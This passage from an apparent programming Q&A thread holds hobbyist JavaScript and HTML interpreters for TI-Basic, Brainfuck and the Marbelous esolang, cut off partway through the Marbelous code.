var variables = []; var loopStack = []; //holds line numbers var ifStack = [true]; //holds true or false var typeStack = ['if']; var repeatStack = []; //holds current iteration for repeats. NOTE: starts at 1 to accomidate repeat 0 var awaitingInput = false; var newInputVarName=null; var pixels = []; //96*64 var running = false; var lineProcessing; function run() { if(running===false){ for(var pixelX=0;pixelX<96;pixelX++){ for(var pixelY=0;pixelY<64;pixelY++){ pixels[(pixelX,pixelY)]=0; //doesn't work } } variables = []; loopStack = []; ifStack = [true]; typeStack = ['if']; repeatStack = []; clear(); var code = document.getElementById('code-block'); var lines = code.value.split('\n'); var currentLine = 0; variables['e'] = Math.E; variables['pi'] = Math.PI; L1.push(3); L1.push(4); lineProcessing = setInterval(function(){ if(!awaitingInput){ running = true; if(currentLine < lines.length || loopStack.length !== 0){ currentLine = processLine(lines,currentLine); currentLine++; } else{ running = false; lineProcessing.clearInterval(); } } },10); } } function processLine(lines, currentLine) { var tokens = tokenize(lines[currentLine]); if (ifStack[ifStack.length - 1] === true){ if (tokens.indexOf('-->') !== -1) { var index = tokens.indexOf('-->'); for (var i = 0; i < index; i++) { tokens[i] = replaceVars(tokens[i]); } var value = eval(tokens[index - 1]); var name = tokens[index + 1]; var listElement = false; if (name.length > 4) { if (/L[1-6]\(/.test(name) === true) { var nextP = matchParenthese(name, 2); var innerStuff = name.substring(3, nextP); var value2 = eval(replaceVars(innerStuff)); var listNum = name.substring(0, 2); if (value2 === Math.round(value2)) { if (value2 > 0) { if (listNum === 'L1') { L1[value2] = value; } if (listNum === 'L2') { L2[value2] = value; } if (listNum === 'L3') { L3[value2] = value; } if (listNum === 'L4') { L4[value2] = value; } if (listNum === 'L5') { L5[value2] = value; } if (listNum === 'L6') { L6[value2] = value; } } else { printE('Arrays can only have positive indexes, and by some weird quirk of Texas Instruments, indexes start at 1, not 0.'); throw new Error(); } } else { printE('Sorry, this is not Javascript. Array indexes must be integers.'); throw new Error(); } } } variables[name + ""] = value; } if (tokens.indexOf('disp') !== -1) { var index2 = tokens.indexOf('disp'); for (var g = index2 + 1; g < tokens.length; g++) { tokens[g] = replaceVars(tokens[g]); if (tokens[g] === ',') {} else { print(eval(tokens[g])); } } } if(tokens.indexOf('prompt')!==-1){ var pIndex = tokens.indexOf('prompt'); var newVar = tokens[pIndex+1]; document.getElementById('output').value += newVar+'=?'; awaitingInput=true; newInputVarName = newVar; } if(tokens.indexOf('input')!==-1){ var pIndex = tokens.indexOf('input'); var newVar = tokens[pIndex+1]; document.getElementById('output').value += '?'; awaitingInput=true; newInputVarName = newVar; } if(tokens.indexOf('pause')!==-1){ awaitingInput=true; newInputVarName = null; } if(tokens.indexOf('pxl-on')!==-1){ var first = tokens[2].substring(1,tokens[2].length); var second = tokens[4].substring(0,tokens[4].length-1); first = replaceVars(first); second = replaceVars(second); var valueF = eval(first); var valueS = eval(second); drawPixel(valueF,valueS,1); pixels[(valueF,valueS)] = 1; } if(tokens.indexOf('pxl-off')!==-1){ var first2 = tokens[2].substring(1,tokens[2].length); var second2 = tokens[4].substring(0,tokens[4].length-1); first2 = replaceVars(first2); second2 = replaceVars(second2); var valueF2 = eval(first2); var valueS2 = eval(second2); pixels[(valueF2,valueS2)] = 0; drawPixel(valueF2,valueS2,0); } if(tokens.indexOf('clrdraw')!==-1){ clearPixels(); } if (tokens.indexOf('if') !== -1) { var index3 = tokens.indexOf('if'); tokens[index3 + 1] = replaceVars(tokens[index3 + 1]); var value = eval(tokens[index3 + 1]); ifStack.push(value); typeStack.push('if'); } if (tokens.indexOf('while') !== -1) { var index4 = tokens.indexOf('while'); var expression = tokens[index4 + 1]; expression = replaceVars(expression); var value2 = eval(expression); if (value2 === true) { typeStack.push('while'); loopStack.push(currentLine); } else { currentLine = nextEnd(currentLine, lines); return currentLine; } } if (tokens.indexOf('for') !== -1) { var index5 = tokens.indexOf('for'); var varName = tokens[index5 + 1]; varName = varName.trim(); varName = varName.substring(1, varName.length); var initValue = eval(replaceVars(tokens[index5 + 3])); variables[varName] = initValue; var endingValue = eval(replaceVars(tokens[index5 + 5])); var increaseVal = replaceVars(tokens[index5 + 7]); increaseVal = eval(increaseVal.substring(0, increaseVal.length - 1)); var diff = endingValue - initValue; if (sign(diff) !== sign(increaseVal) && sign(diff) !== 0) { currentLine = nextEnd(currentLine, lines); return currentLine; } else { loopStack.push(currentLine); typeStack.push('for'); } } if (tokens.indexOf('repeat') !== -1) { var repeatVal = eval(replaceVars(tokens[1])); if (repeatVal === true || repeatVal === false) { //basically the same as a while loop...so just replace it! var newLine = 'while ' + '!(' + tokens[1] + ')'; lines[currentLine] = newLine; currentLine--; return currentLine; } else { repeatStack.push(0); typeStack.push('repeat'); loopStack.push(currentLine); } } } if (tokens.indexOf('else') !== -1) { ifStack[ifStack.length - 1] = !ifStack[ifStack.length - 1]; } if (tokens.indexOf('end') !== -1) { if (typeStack[typeStack.length - 1] === 'if') { ifStack.pop(); typeStack.pop(); } else if (typeStack[typeStack.length - 1] === 'while') { var prevLineNum = loopStack[loopStack.length - 1]; var prevLine = lines[prevLineNum]; var prevTokens = tokenize(prevLine); var whileIndex = prevTokens.indexOf('while'); var expression2 = replaceVars(prevTokens[whileIndex + 1]); if (eval(expression2) === true) { currentLine = prevLineNum - 1; return currentLine; } else { loopStack.pop(); typeStack.pop(); } } else if (typeStack[typeStack.length - 1] === 'repeat') { var line = lines[loopStack[loopStack.length - 1]]; var tokenized = tokenize(line); var numTimes = eval(replaceVars(tokenized[1])); var currentIteration = repeatStack[repeatStack.length - 1]; currentIteration++; if (currentIteration !== numTimes) { repeatStack[repeatStack.length - 1] = currentIteration; currentLine = loopStack[loopStack.length - 1]; //once currentLine++, will be on next line after repeat; return currentLine; } else { repeatStack.pop(); typeStack.pop(); loopStack.pop(); } } else if (typeStack[typeStack.length - 1] === 'for') { var prevLineNum2 = loopStack[loopStack.length - 1]; var prevLine2 = lines[prevLineNum2]; var prevTokens2 = tokenize(prevLine2); var forIndex = prevTokens2.indexOf('for'); var varName2 = prevTokens2[forIndex + 1]; varName2 = varName2.substring(1, varName2.length); var initVal = eval(replaceVars(prevTokens2[forIndex + 3])); var endVal = eval(replaceVars(prevTokens2[forIndex + 5])); var stepVal = replaceVars(prevTokens2[forIndex + 7]); stepVal = eval(stepVal.substring(0, stepVal.length - 1)); variables[varName2] = parseInt(stepVal, 10) + parseInt(variables[varName2], 10); var signDiff = sign(endVal - initVal); var condTrue = true; if (signDiff === 0) { condTrue = false; } if (signDiff === 1) { if (variables[varName2] > endVal) { condTrue = false; } } else { if (variables[varName2] < endVal) { condTrue = false; } } if (condTrue === true) { currentLine = prevLineNum2; return currentLine; } else { typeStack.pop(); loopStack.pop(); } } } return currentLine; } function sign(num) { if (num === 0) { return 0; } if (num > 0) { return 1; } return -1; } function drawPixel(x,y,color){//color = 0 if off, 1 if on var canvas = document.getElementById('canvas'); var width = canvas.width; var height = canvas.height; var pxWidth = width/96; var pxHeight = height/64; var ctx = canvas.getContext('2d'); if(color===1){ ctx.fillStyle = '#000'; }else{ ctx.fillStyle = '#fff'; } ctx.fillRect((x/96)*width, (y/64)*height,pxWidth,pxHeight); } function nextEnd(line, lines) { for (var i = line + 1; i < lines.length; i++) { if (lines[i].indexOf('end') !== -1) { return i; } } return line; } function tokenize(line) { line = line.trim(); var split = []; var currentSplit = ''; var cursor = 0; var unknown = ''; var allTokens = tokens; while (cursor < line.length) { var lengthOfCursor = line.length - cursor; while (lengthOfCursor > 0) { var index = allTokens.indexOf(line.substring(cursor, cursor + lengthOfCursor)); if (index !== -1) { if (unknown !== '') { split.push(unknown.trim()); } unknown = ''; split.push(allTokens[index]); cursor += lengthOfCursor - 1; //for cursor++ later break; } lengthOfCursor--; if (lengthOfCursor === 0) { unknown = unknown.concat(line.charAt(cursor)); } } cursor++; } if (unknown !== '') { split.push(unknown.trim()); } return split; } function replaceVars(token) { for (var i = 0; i < tokens.length; i++) { if (token === tokens[i]) { return token; } } //deals with lists for (var cursor = 0; cursor < token.length - 1; cursor++) { if (/[^a-zA-Z_]L[1-6]|^L[1-6]/.test(token.substring(cursor, cursor + 3)) === true) { var parenthIndex; for (var newCurs = cursor; newCurs < token.length; newCurs++) { if (token.charAt(newCurs) === '(') { parenthIndex = newCurs; break; } } var nextPIndex = matchParenthese(token, parenthIndex); var inner = token.substring(parenthIndex + 1, nextPIndex); //note recursiveness, supports L1(L1(L1(5))), for example var innerValue = eval(replaceVars(inner)); var num = parseInt(token.substring(parenthIndex - 1, parenthIndex)); var realValue; if (num === 1) { realValue = L1[innerValue]; } if (num === 2) { realValue = L2[innerValue]; } if (num === 3) { realValue = L3[innerValue]; } if (num === 4) { realValue = L4[innerValue]; } if (num === 5) { realValue = L5[innerValue]; } if (num === 6) { realValue = L6[innerValue]; } if (innerValue !== Math.round(innerValue) || innerValue < 1) { printE('array indexes must be integers greater or equal to 1. Why? ask Texas Instruments.'); throw new Error(); } token = token.substring(0, parenthIndex - 2) + realValue + token.substring(nextPIndex + 1); } } //Math stuff var a; var sinFunc = function (value) { return Math.sin(value); }; while ((a = returnValue('sin', token, sinFunc)) !== null) { token = a; } var cosFunc = function (value) { return Math.cos(value); }; while ((a = returnValue('cos', token, cosFunc)) !== null) { token = a; } var tanFunc = function (value) { return Math.tan(value); }; while ((a = returnValue('tan', token, tanFunc)) !== null) { token = a; } var asinFunc = function (value) { return Math.asin(value); }; while ((a = returnValue('asin', token, asinFunc)) !== null) { token = a; } var acosFunc = function (value) { return Math.acos(value); }; while ((a = returnValue('acos', token, acosFunc)) !== null) { token = a; } var atanFunc = function (value) { return Math.atan(value); }; while ((a = returnValue('atan', token, atanFunc)) !== null) { token = a; } //note my calculator doesn't have atan2... var absFunc = function (value) { return Math.abs(value); }; while ((a = returnValue('abs', token, absFunc)) !== null) { token = a; } var roundFunc = function (value) { return Math.round(value); }; while ((a = returnValue('round', token, roundFunc)) !== null) { token = a; } var intFunc = function (value) { return Math.floor(value); }; while ((a = returnValue('int', token, intFunc)) !== null) { token = a; } var coshFunc = function (value) { return (Math.pow(Math.E, value) + Math.pow(Math.E, -1 * value)) / 2; }; while ((a = returnValue('cosh', token, coshFunc)) !== null) { token = a; } var sinhFunc = function (value) { return (Math.pow(Math.E, value) - Math.pow(Math.E, -1 * value)) / 2; }; while ((a = returnValue('sinh', token, sinhFunc)) !== null) { token = a; } var tanhFunc = function (value) { return (Math.pow(Math.E, value) - Math.pow(Math.E, -1 * value)) / (Math.pow(Math.E, value) + Math.pow(Math.E, -1 * value)); }; while ((a = returnValue('tanh', token, tanhFunc)) !== null) { token = a; } //if token contains new variables, then initialize them with random values var newReg = new RegExp('([^a-zA-Z_])([a-zA-Z_]+)([^a-zA-Z_])', 'g'); var newReg2 = new RegExp('^([a-zA-Z_]+)([^a-zA-Z_])', 'g'); var newReg3 = new RegExp('([^a-zA-Z_])([a-zA-Z_]+)$', 'g'); var newReg4 = new RegExp('^([a-zA-Z_]+)$', 'g'); var match1 = token.match(newReg); if (match1 !== null) { for (var q = 0; q < match1.length; q++) { initializeVar(match1[q].substring(1, match1[q].length - 1)); } } var match2 = token.match(newReg2); if (match2 !== null) { for (var w = 0; w < match2.length; w++) { initializeVar(match2[w].substring(0, match2[w].length - 1)); } } var match3 = token.match(newReg3); if (match3 !== null) { for (var e = 0; e < match3.length; e++) { initializeVar(match3[e].substring(1, match3[e].length)); } } var match4 = token.match(newReg4); if (match4 !== null) { for (var r = 0; r < match4.length; r++) { initializeVar(match4[r].substring(0, match4[r].length)); } } var varNames = []; for (var key in variables) { if (token.indexOf(key) !== -1) { var regex1 = '([^a-zA-Z_])(' + key + ')([^a-zA-Z_])'; var reg = new RegExp(regex1, 'g'); token = token.replace(reg, '$1' + variables[key] + '$3'); var regex2 = '(^' + key + ')([^a-zA-Z_])'; var reg2 = new RegExp(regex2, 'g'); token = token.replace(reg2, variables[key] + '$2'); var regex3 = '([^a-zA-Z_])(' + key + ')$'; var reg3 = new RegExp(regex3, 'g'); token = token.replace(reg3, '$1' + variables[key]); var reg4 = new RegExp('^' + key + '$', 'g'); token = token.replace(reg4, variables[key]); } } return token; } function matchParenthese(token, index) { var pStack = []; for (var cursor = index + 1; cursor < token.length; cursor++) { if (token.charAt(cursor) === '(') { pStack.push(1); } if (token.charAt(cursor) === ')') { if (pStack.length > 0) { pStack.pop(); } else { return cursor; } } } return index; } function returnValue(identifyer, token, toDoFunction) { //note: do NOT include parentheses in identifyer for (var cursor = 0; cursor < token.length; cursor++) { if (token.length > cursor + identifyer.length) { if (token.substring(cursor, cursor + identifyer.length) === identifyer) { if (cursor === 0 || /^[^a-zA-Z_]/.test(token.charAt(cursor - 1)) === true) { if (nextNonWhiteChar(token, cursor + identifyer.length - 1) === '(') { print(identifyer); var nextParen = matchParenthese(token, cursor + identifyer.length + 1); var inner = token.substring(cursor + identifyer.length + 1, nextParen); inner = replaceVars(inner); var value = eval(inner); value = toDoFunction(value); return token.substring(0, cursor) + value + token.substring(nextParen + 1, token.length); } } } } } return null; } function nextNonWhiteChar(token, index) { //give non-white character for (var i = index + 1; i < token.length; i++) { if (token.charAt(i) !== ' ') { return token.charAt(i); } } } function clearPixels(){ var canvas = document.getElementById('canvas'); canvas.getContext('2d').fillStyle = '#fff'; canvas.getContext('2d').fillRect(0,0,canvas.width,canvas.height); for(var x=0;x<96;x++){ for(var y=0;y<64;y++){ pixels[(x,y)] = 0; } } } function stop(){ running = false; clearInterval(lineProcessing); } function initializeVar(name) { if (!(name in variables) && name !== 'L1' && name !== 'L2' && name !== 'L3' && name !== 'L4' && name !== 'L5' && name !== 'L6') { variables[name] = Math.random() * 100; } } function clear() { document.getElementById('output').value = ''; document.getElementById('error').value = ''; } function printE(str) { document.getElementById('error').value += str + '\n' } function print(str) { document.getElementById('output').value += str + '\n'; } ``` ``` <h1>Ti-Basic Interpreter</h1> <h3>Code</h3> <textarea id='code-block' cols='50' rows='7' oninput='inputChanged()'>:clrdraw :for(a,2,96,2) :for(b,(a/2)%2,64,2) :pxl-on(a,b) :end :end</textarea> <br> <button width='20' height='10' onclick='run()'>Run</button> <button width='20' height='10' onclick='stop()'>Stop</button> <h3>Output (also input)</h3> <textarea id='output' cols='50' rows='7' onkeypress='onUserInput(event)'></textarea> <br> <canvas id='canvas' width='192' height='128'></canvas> <br> <textarea id='error' cols='50' rows='7'></textarea> ``` [Answer] # Brainfuck Here's a basic BF interpreter. There's no debugger though, but has a couple of customisation options. ``` const NUM_CELLS = 30000; const ITERS_PER_SEC = 100000; const TIMEOUT_MILLISECS = 5000; const ERROR_BRACKET = "Mismatched brackets"; const ERROR_TIMEOUT = "Timeout"; const ERROR_INTERRUPT = "Interrupted by user"; var code, input, wrap, timeout, eof, loop_stack, loop_map; var running, start_time, code_ptr, input_ptr, cell_ptr, cells, iterations; function clear_output() { document.getElementById("output").value = ""; document.getElementById("stderr").innerHTML = ""; } function stop() { running = false; document.getElementById("run").disabled = false; document.getElementById("stop").disabled = true; document.getElementById("clear").disabled = false; document.getElementById("wrap").disabled = false; document.getElementById("timeout").disabled = false; document.getElementById("eof").disabled = false; } function interrupt() { error(ERROR_INTERRUPT); } function error(msg) { document.getElementById("stderr").innerHTML = msg; stop(); } function run() { clear_output(); document.getElementById("run").disabled = true; document.getElementById("stop").disabled = false; document.getElementById("clear").disabled = true; document.getElementById("wrap").disabled = true; document.getElementById("timeout").disabled = true; document.getElementById("eof").disabled = true; code = document.getElementById("code").value; input = document.getElementById("input").value; wrap = document.getElementById("wrap").value; timeout = document.getElementById("timeout").checked; eof = document.getElementById("eof").value; loop_stack = []; loop_map = {}; for (var i = 0; i < code.length; ++i) { if (code[i] == "[") { loop_stack.push(i); } else if (code[i] == "]") { if (loop_stack.length == 0) { error(ERROR_BRACKET); return; } else { var last_bracket = loop_stack.pop(); loop_map[last_bracket] = i; loop_map[i] = last_bracket; } } } if (loop_stack.length > 0) { error(ERROR_BRACKET); return; } running = true; start_time = Date.now(); code_ptr = 0; input_ptr = 0; cell_ptr = Math.floor(NUM_CELLS / 2); cells = {}; iterations = 0; bf_iter(1); } function bf_iter(niters) { if (code_ptr >= code.length || !running) { stop(); return; } var iter_start_time = Date.now(); for (var i = 0; i < niters; ++i) { if (cells[cell_ptr] == undefined) { cells[cell_ptr] = 0; } switch (code[code_ptr]) { case "+": if ((wrap == "8" && cells[cell_ptr] == 255) || (wrap == "16" && cells[cell_ptr] == 65535) || (wrap == "32" && cells[cell_ptr] == 2147483647)) { cells[cell_ptr] = 0; } else { cells[cell_ptr]++; } break; case "-": if (cells[cell_ptr] == 0 && wrap != "-1"){ if (wrap == "8"){ cells[cell_ptr] = 255 } if (wrap == "16"){ cells[cell_ptr] = 65535 } if (wrap == "32"){ cells[cell_ptr] = 2147483647 } } else { cells[cell_ptr]--; } break; case "<": cell_ptr--; break; case ">": cell_ptr++; break; case ".": document.getElementById("output").value += String.fromCharCode(cells[cell_ptr]); break; case ",": if (input_ptr >= input.length) { if (eof != "nochange") { cells[cell_ptr] = parseInt(eof); } } else { cells[cell_ptr] = input.charCodeAt(input_ptr); input_ptr++; } break; case "[": if (cells[cell_ptr] == 0) { code_ptr = loop_map[code_ptr]; } break; case "]": if (cells[cell_ptr] != 0) { code_ptr = loop_map[code_ptr]; } break; } code_ptr++; iterations++; if (timeout && Date.now() - start_time > TIMEOUT_MILLISECS) { error(ERROR_TIMEOUT); return; } } setTimeout(function() { bf_iter(ITERS_PER_SEC * (Date.now() - iter_start_time)/1000) }, 0); } ``` ``` <div style="font-size:12px;font-family:Verdana, Geneva, sans-serif;"> <div style="float:left; width:50%;"> Code: <br> <textarea id="code" rows="4" style="overflow:scroll;overflow-x:hidden;width:90%;">>++++++++[<+++++++++>-]<.>>+>+>++>[-]+<[>[->+<<++++>]<<]>.+++++++..+++.>>+++++++.<<<[[-]<[-]>]<+++++++++++++++.>>.+++.------.--------.>>+.>++++.</textarea> <br>Input: <br> <textarea id="input" rows="2" style="overflow:scroll;overflow-x:hidden;width:90%;"></textarea> <p> Wrap: <select id="wrap"> <option value="8">8-bit</option> <option value="16">16-bit</option> <option value="32">32-bit</option> <option value="-1">None</option> </select> &nbsp; Timeout: <input id="timeout" type="checkbox" checked="true" />&nbsp; EOF: <select id="eof"> <option value="nochange">Same</option> <option value="0">0</option> <option value="-1">-1</option> </select> </p> </div> <div style="float:left; width:50%;"> Output: <br> <textarea id="output" rows="6" style="overflow:scroll;width:90%;"></textarea> <p> <input id="run" type="button" value="Run" onclick="run()" /> <input id="stop" type="button" value="Stop" onclick="interrupt()" disabled="true" /> <input id="clear" type="button" value="Clear" onclick="clear_output()" /> &nbsp; <span id="stderr" style="color:red"></span> </p> </div> </div> ``` On my browser everything is contained within the expanded snippet, but I'm no expert on browser compatibility so I can't guarantee that'll be the same for everybody. ## Features * Cell wrapping and EOF behaviour can be configured * Timeout can be bypassed * Program can be halted mid-execution * A nice little clear button * All this within the Stack Snippet box (or at least I tried) and clocking in at around 6k chars ungolfed [Answer] # Marbelous\* This interpreter is probably filled with bugs; if you find any, please let me know. This supports all features of Marbelous except `#include`. There is also an option for using a cylindrical board (marbles shoved off the sides of the board reappear on the other side). The interpreter also comes with many boards present in the [examples in the repo for the python interpreter for Marbelous](https://github.com/marbelous-lang/marbelous.py/tree/master/examples). These boards are listed below: ``` dec_out.mbl - Dp, Decout hex_out.mbl - Hp, Hexo fourwayincrement.mbl - Fwin threewaysplit.mbl - 3W bitwise_operations.mbl - Bitx, Bdif, Borr, Band, Bxor, Bnor logical_operations.mbl - Tf, Nt, Lorr, Land, Lnor, Lxor, Cmpr, Eqal, Gteq, Lteq, Grtr, Less, Sort replace_input.mbl - Replac adder.mbl - Plus arithmetic.mbl - Subt, Subo, Subful, Addo, Addful, Mult wide_devices.mbl - Wideadditionfunc, Widesubtractfunc, Wbitleft, Wbitrght, Wbitfetchx, Mulx, Doblmult, Widemultiplyfunc ``` No includes should be used. See the python interpreter's repo for details on what each of these boards do. \*More Information on Marbelous: * [Marbelous Github Organization](https://github.com/marbelous-lang/) * [Spec Draft (messy)](https://docs.google.com/document/d/1fAMDwPqtVgjINDny7BpcaO9tCnPJtXQWaFf4kzDhsdw/edit) * [More information](https://github.com/es1024/docs/blob/patch-2/spec-draft.md) * [(Now frozen) chat where spec was discussed](http://chat.stackexchange.com/rooms/16230/marbelous-esolang-design) Note: Graphical Output (256x256 double buffered with 24-bit RGB color) is available on this interpreter. The following boards may be used for this purpose: ``` {}{}{}{}{} - Set Pixel for Back Buffer (}0 - x, }1 - y, }2 - red, }3 - green, }4 - blue) >< - Swap Buffers and Clear Back Buffer (}0 - anything) @f@f@f - Get Pixel from Front Buffer (}0 - x, }1 - y, {0 - red, {1 - green, {2 - blue) @b@b@b - Get Pixel from Back Buffer (}0 - x, }1 - y, {0 - red, {1 - green, {2 - blue) ``` Please note that having `Use Draw Buffers` checked (required for graphical output) might slow down the interpreter, and that graphical output is slow. **Update**: changed buffers to use canvas instead of 1x1 pixel divs; drawing should be much faster now. ``` var stdin = ""; var boards = {}; var bnames = []; var max_tick = 1000; var space_as_blank = false; var cylindrical_board = false; var print_numbers = false; var libraries = true; var stopped = false; var gfx = false; var front_buffer = null; var back_buffer = null; function base36(a){ return a.toString(36).toUpperCase();} function base16(a){ return ("0"+a.toString(16).toUpperCase()).substr(-2);} function wto16(arr, i){ return arr[i] << 8 | arr[i+1]; } function wto32(arr, i){ return arr[i] << 24 | arr[i+1] << 16 | arr[i+2] << 8 | arr[i+3]; } function getch(){ var p = stdin.substr(0, 1); stdin = stdin.substr(1); if(p === '') return -1; else return p.charCodeAt(0) & 255; } function putch(obj, ch){ if(print_numbers) obj.stdout += ch + ' '; else obj.stdout += String.fromCharCode(ch); } function longestMatch(search, list){ var best = null, blen = 0; for(var i = 0, len = list.length; i < len; ++i) if(list[i].length > blen && search.indexOf(list[i]) === 0) best = list[i], blen = best.length; return best; } function swapBuffers(){ front_buffer.ctx.drawImage(back_buffer.canvas, 0, 0); back_buffer.clear(); } function jsBoard(name, inc, outc, code){ var f = eval('(function(inp, self){return ' + code + ';})'); boards[name] = new Board(name, true, f, inc, outc); bnames.push(name); } function loadDefaultBoards(){ // implement \\ // /\ \/ ++ -- >> << ~~ ]] +n -n ?? ?n ^n =n >n <n as js boards jsBoard('\\\\', 1, 0, '{37: inp[0]}'); jsBoard('//', 1, 0, '{36: inp[0]}'); jsBoard('/\\', 1, 0, '{36: inp[0], 37: inp[0]}'); jsBoard('\\/', 1, 0, '{}'); jsBoard('++', 1, 1, '{0: (inp[0]+1)&255}'); jsBoard('--', 1, 1, '{0: (inp[0]+255)&255}'); jsBoard('>>', 1, 1, '{0: inp[0]>>1}'); jsBoard('<<', 1, 1, '{0: (inp[0]<<1)&255}'); jsBoard('~~', 1, 1, '{0: (~inp[0])&255}'); jsBoard(']]', 1, 1, '(c=getch())>-1?{0:c}:{37:inp[0]}'); jsBoard('??', 1, 1, '{0: Math.floor(Math.random()*(inp[0]+1))}'); for(var i = 0; i < 36; ++i){ j = base36(i); jsBoard('+'+j, 1, 1, '{0: (inp[0]+'+i+')&255}'); jsBoard('-'+j, 1, 1, '{0: (inp[0]-'+i+')&255}'); jsBoard('?'+j, 1, 1, '{0: Math.floor(Math.random()*'+(i+1)+')}'); jsBoard('='+j, 1, 1, 'inp[0]=='+i+'?{0: inp[0]}:{37: inp[0]}'); jsBoard('>'+j, 1, 1, 'inp[0]>'+i+'?{0: inp[0]}:{37: inp[0]}'); jsBoard('<'+j, 1, 1, 'inp[0]<'+i+'?{0: inp[0]}:{37: inp[0]}'); if(i < 8){ jsBoard('^'+j, 1, 1, '{0: !!(inp[0]&(1<<'+i+'))}'); } } if(gfx){ jsBoard('{}{}{}{}{}', 5, 0, 'back_buffer.set(inp[0], inp[1], inp[2], inp[3], inp[4]),{}'); jsBoard('@f@f@f', 2, 3, 'front_buffer.get(inp[0], inp[1])'); jsBoard('@b@b@b', 2, 3, 'back_buffer.get(inp[0], inp[1])'); jsBoard('><', 1, 0, 'swapBuffers(), {}'); } if(libraries){ // dec_out.mbl - Dp, Decout jsBoard('Dp', 1, 0, 'putch(self,Math.floor(inp[0]/100)+0x30),putch(self,Math.floor(inp[0]/10)%10+0x30),putch(self,inp[0]%10+0x30),{}'); jsBoard('Decout', 1, 3, '{0: inp[0]/100, 1: inp[0]/10%10, 2: inp[0]%10}'); // hex_out.mbl - Hp, Hexo jsBoard('Hp', 1, 0, 's=base16(inp[0]),putch(self,s.charCodeAt(0)),putch(self,s.charCodeAt(1)),{}'); jsBoard('Hexo', 1, 2, 's=base16(inp[0]),{0: s.charCodeAt(0), 1: s.charCodeAt(1)}'); // fourwayincrement.mbl - Fwin jsBoard('Fwin', 1, 2, '{36: inp[0], 0: (inp[0]+1)&255, 1: (inp[0]+1)&255, 37: (inp[0]+2)&255}'); // threewaysplit.mbl - 3W jsBoard('3W', 1, 1, '{0: inp[0], 36: inp[0], 37: inp[0]}'); // bitwise_operations.mbl - Bitx, Bdif, Borr, Band, Bxor, Bnor jsBoard('Bitx', 2, 1, 'inp[1]<8?{0: !!(inp[0] & (1 << inp[1]))}:{}'); jsBoard('Bdif', 2, 1, 'b=inp[0]^inp[1],{0: !!(b&1)+!!(b&2)+!!(b&4)+!!(b&8)+!!(b&16)+!!(b&32)+!!(b&64)+!!(b&128)}'); jsBoard('Borr', 2, 1, '{0: inp[0]|inp[1]}'); jsBoard('Band', 2, 1, '{0: inp[0]&inp[1]}'); jsBoard('Bxor', 2, 1, '{0: inp[0]^inp[1]}'); jsBoard('Bnor', 2, 1, '{0: ~(inp[0]|inp[1])}'); // logical_operations.mbl - Tf, Nt, Lorr, Land, Lnor, Lxor, Cmpr, Eqal, Gteq, Lteq, Grtr, Less, Sort jsBoard('Tf', 1, 1, '{0: (inp[0]>0)|0}'); jsBoard('Nt', 1, 1, '{0: (!inp[0])|0}'); jsBoard('Lorr', 2, 1, '{0: (inp[0]||inp[1])|0}'); jsBoard('Land', 2, 1, '{0: (inp[0]&&inp[1])|0}'); jsBoard('Lnor', 2, 1, '{0: !(inp[0]||inp[1])|0}'); jsBoard('Lxor', 2, 1, '{0: (!inp[0]!=!inp[1])|0}'); jsBoard('Cmpr', 2, 1, '{0: inp[0]>inp[1]?1:inp[0]<inp[1]?-1:0}'); jsBoard('Eqal', 2, 1, '{0: (inp[0] == inp[1])|0}'); jsBoard('Gteq', 2, 1, '{0: (inp[0] >= inp[1])|0}'); jsBoard('Lteq', 2, 1, '{0: (inp[0] <= inp[1])|0}'); jsBoard('Grtr', 2, 1, '{0: (inp[0] > inp[1])|0}'); jsBoard('Less', 2, 1, '{0: (inp[0] < inp[1])|0}'); jsBoard('Sort', 2, 2, '{0: Math.min(inp[0],inp[1]), 1: Math.max(inp[0],inp[1])}'); // replace_input.mbl - Replac jsBoard('Replac', 3, 1, '{0: inp[0]==inp[1]?inp[2]:inp[0]}'); // adder.mbl - Plus jsBoard('Plus', 2, 1, '{0: (inp[0] + inp[1])&255}'); // arithmetic.mbl - Subt, Subo, Subful, Addo, Addful, Mult jsBoard('Subt', 2, 1, '{0: (inp[0] - inp[1])&255}'); jsBoard('Subo', 2, 1, '{0: (inp[0] - inp[1])&255, 36: (inp[0] < inp[1])|0}'); jsBoard('Subful', 3, 1, 'a=(inp[0] - inp[1])&255,{0: (a + 256 - inp[2])&255, 36: (inp[0]<inp[1])+(a<inp[2])}'); jsBoard('Addo', 2, 1, 'a=inp[0]+inp[1],{0: a&255, 36: (a>255)|0}'); jsBoard('Addful', 3, 1, 'a=inp[0]+inp[1]+inp[2],{0: a&255, 36: (a>255)|0}'); jsBoard('Mult', 2, 1, '{0: (inp[0]*inp[1])&255}'); // wide_devices.mbl - Wideadditionfunc, Widesubtractfunc, Wbitleft, Wbitrght, Wbitfetchx, Mulx, Doblmult, Widemultiplyfunc jsBoard('Wideadditionfunc', 8, 4, 'c=(wto32(inp,0)+wto32(inp,4))&0xFFFFFFFF,{0: (c&0xFF000000)>>>24, 1: (c&0x00FF0000)>>>16, 2: (c&0x0000FF00)>>>8, 3: (c&0x000000FF)}'); jsBoard('Widesubtractfunc', 8, 4, 'c=(wto32(inp,0)-wto32(inp,4))&0xFFFFFFFF,{0: (c&0xFF000000)>>>24, 1: (c&0x00FF0000)>>>16, 2: (c&0x0000FF00)>>>8, 3: (c&0x000000FF)}'); jsBoard('Wbitleft', 4, 4, 'c=(wto32(inp,0)<<1)&0xFFFFFFFF,{0: (c&0xFF000000)>>>24, 1: (c&0x00FF0000)>>>16, 2: (c&0x0000FF00)>>>8, 3: (c&0x000000FF)}'); jsBoard('Wbitrght', 4, 4, 'c=wto32(inp,0)>>>1,{0: (c&0xFF000000)>>>24, 1: (c&0x00FF0000)>>>16, 2: (c&0x0000FF00)>>>8, 3: (c&0x000000FF)}'); jsBoard('Wbitfetchx', 5, 1, 'inp[4]<32?{0:!!(wto32(inp,0)&(1<<inp[4]))}:{}'); jsBoard('Mulx', 2, 2, 'c=(inp[0]*inp[1])&0xFFFF,{0: (c&0xFF00)>>>8, 1: (c&0x00FF)}'); jsBoard('Doblmult', 4, 4, 'c=(wto16(inp,0)*wto16(inp,2))&0xFFFFFFFF,{0: (c&0xFF000000)>>>24, 1: (c&0x00FF0000)>>>16, 2: (c&0x0000FF00)>>>8, 3: (c&0x000000FF)}'); jsBoard('Widemultiplyfunc', 8, 4, 'c=(wto32(inp,0)*wto32(inp,4))&0xFFFFFFFF,{0: (c&0xFF000000)>>>24, 1: (c&0x00FF0000)>>>16, 2: (c&0x0000FF00)>>>8, 3: (c&0x000000FF)}'); } } // most devices are implemented as js subboards var CTypes = { PORTAL: 1, SYNCHRONISER: 2, INPUT: 3, OUTPUT: 4, TERMINATE: 